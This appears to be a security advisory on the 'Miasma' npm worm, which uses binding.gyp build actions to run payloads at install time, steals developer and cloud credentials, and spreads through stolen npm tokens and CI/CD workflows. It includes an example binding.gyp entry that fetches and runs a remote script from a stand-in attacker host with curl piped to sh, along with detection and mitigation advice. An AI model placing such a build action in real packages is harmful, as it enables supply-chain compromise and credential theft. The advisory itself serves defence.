Self-Propagating "Miasma" Worm Spreads via npm Using "Phantom Gyp" to Steal Credentials

Executive Summary

A highly sophisticated, self-replicating worm known as Miasma is actively compromising the npm open-source ecosystem through a novel supply chain attack. Security researchers from multiple firms, including StepSecurity, Snyk, and Microsoft, have detailed the campaign, which uses an evasive technique they've named "Phantom Gyp." Instead of relying on preinstall or postinstall scripts in package.json, the malware executes code via binding.gyp files during the npm install process. This allows it to bypass many static analysis security tools. The Miasma worm is a potent credential stealer, harvesting secrets from developer environments and CI/CD pipelines, and then using those stolen credentials to publish more infected packages, creating a rapidly spreading infection.

Threat Overview

The Miasma worm represents a significant evolution in supply chain attacks. Its self-propagating nature allows it to spread exponentially without direct continuous operator involvement. The attack, attributed in part to a cluster known as TeamPCP, leverages the Mini Shai-Hulud worm code released publicly in May 2026.

The attack chain is as follows:

1. Initial Compromise: A developer installs a compromised npm package.
2. Evasive Execution: During the npm install command, the node-gyp tool processes a malicious binding.gyp file within the package. This triggers the execution of a malicious script, a technique that evades security scanners focused on package.json scripts.
3. Payload Staging: The initial script downloads the Bun JavaScript runtime to further evade detection tools focused on Node.js behavior, and then executes the main payload.
4. Credential Harvesting: The Miasma payload scrapes the environment for a wide array of secrets, including npm tokens, GitHub credentials, AWS, GCP, and Azure keys, HashiCorp Vault tokens, Kubernetes configs, local SSH keys, and browser data.
5. Propagation: The worm uses stolen npm tokens to publish new malicious versions of other packages owned by the compromised developer. It also uses stolen GitHub credentials to inject malicious steps into the victim's CI/CD workflows (e.g., GitHub Actions) for persistence and further spread.

Technical Analysis

The core innovation of this attack is the "Phantom Gyp" technique, an abuse of a legitimate build process. The binding.gyp file is a JSON-like file used by node-gyp to configure how native C++ addons are compiled. Attackers have embedded a command in the targets section of this file that is executed by the system's shell during the installation process, a form of T1189 - Drive-by Compromise.

An example of a malicious binding.gyp entry:

{
  "targets": [
    {
      "target_name": "malicious_build",
      "sources": [],
      "actions": [
        {
          "action_name": "run_payload",
          "inputs": [],
          "outputs": [],
          "action": ["sh", "-c", "curl -sL https://evil.com/payload.sh | sh"]
        }
      ]
    }
  ]
}

The worm's ability to propagate via CI/CD pipelines is particularly dangerous. By modifying github/workflows files, it can compromise the software build process itself, injecting the worm into legitimate software artifacts and potentially spreading it to downstream users and customers. This is a classic example of T1199 - Trusted Relationship abuse.

Impact Assessment

The Miasma worm poses a critical threat to the software development ecosystem:

• Widespread Credential Theft: The worm can lead to the mass compromise of developer and cloud infrastructure credentials, providing attackers with broad access to sensitive systems.
• Rapid, Uncontrolled Spread: Its worm-like nature means a single compromised developer can trigger a chain reaction, infecting dozens of other packages and developers.
• CI/CD Pipeline Poisoning: Compromising the build process can lead to trojanized software being shipped to customers, turning a developer-focused problem into a widespread customer-facing incident.
• Erosion of Trust in Open Source: Attacks like this undermine trust in the open-source package registries that modern software development relies on.

The scale is significant; one compromised package, @vapi-ai/server-sdk, has over 400,000 monthly downloads, illustrating the potential reach of the infection.

IOCs — Directly from Articles

No specific file hashes, IP addresses, or domains were provided in the source articles.

Cyber Observables — Hunting Hints

Security teams may want to hunt for the following patterns to detect related activity:

Detection & Response

1. Scan for Malicious binding.gyp: Use static analysis tools or custom scripts to scan npm dependencies for binding.gyp files containing suspicious actions or shell commands.
2. Monitor Build Processes: Instrument CI/CD pipelines to monitor for anomalous behavior during npm install. Look for unexpected network connections, file system access outside the project directory, or the execution of unexpected processes (bun). This aligns with D3FEND's Process Analysis (D3-PA).
3. Dependency Tree Analysis: Use tools like npm ls to check for the presence of known compromised packages in your projects' dependency trees.
4. Credential Scanning: Regularly scan code repositories and CI/CD logs for accidentally exposed credentials.

Mitigation

1. Use --ignore-scripts: When running npm install in CI/CD pipelines or for simple dependency checks, use the --ignore-scripts flag. This will prevent preinstall, postinstall, and node-gyp build scripts from running. Note that this will break packages that legitimately need to compile addons.
2. Vet Dependencies: Before adding a new dependency, scrutinize its health. Check for recent updates, the number of maintainers, and the presence of suspicious files like binding.gyp.
3. Lock Dependencies: Use a lockfile (package-lock.json) and do not automatically update to the latest versions of packages without review. This prevents a newly compromised version from being pulled into your build.
4. Principle of Least Privilege in CI/CD: Ensure that CI/CD jobs have only the minimum necessary permissions. Use short-lived, scoped access tokens instead of persistent secrets wherever possible. This is a form of D3FEND's User Account Permissions (D3-UAP).